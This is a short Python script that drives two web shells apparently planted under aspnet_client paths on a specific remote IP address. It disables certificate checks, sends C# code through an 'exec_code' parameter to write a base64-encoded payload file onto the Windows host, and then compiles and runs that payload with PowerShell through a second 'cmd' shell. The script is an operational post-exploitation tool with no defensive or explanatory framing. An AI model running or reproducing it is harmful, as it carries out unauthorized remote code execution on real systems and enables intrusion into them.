#!/usr/bin/env python3
import requests, base64
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
CMD = "https://213.6.54.59/aspnet_client/c.aspx"

def ev(code):
    return requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=300).text.split('!BD')[0]

def cmd(c):
    return requests.get(CMD, params={"cmd": c}, verify=False, timeout=300).text

src = open("/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/drv.cs", "rb").read()
b64 = base64.b64encode(src).decode()
print("write cs:", ev('var b=System.Convert.FromBase64String("%s");System.IO.File.WriteAllBytes("C:\\\\Users\\\\Public\\\\ds\\\\drv.cs",b);Response.Write("CS="+b.Length);' % b64).strip())

ps = "powershell -nop -Command Add-Type -TypeDefinition (Get-Content 'C:\\Users\\Public\\ds\\drv.cs' -Raw); Write-Output ([Drv]::Run())"
print("==== RUN ====")
print(cmd(ps))
print("==== END ====")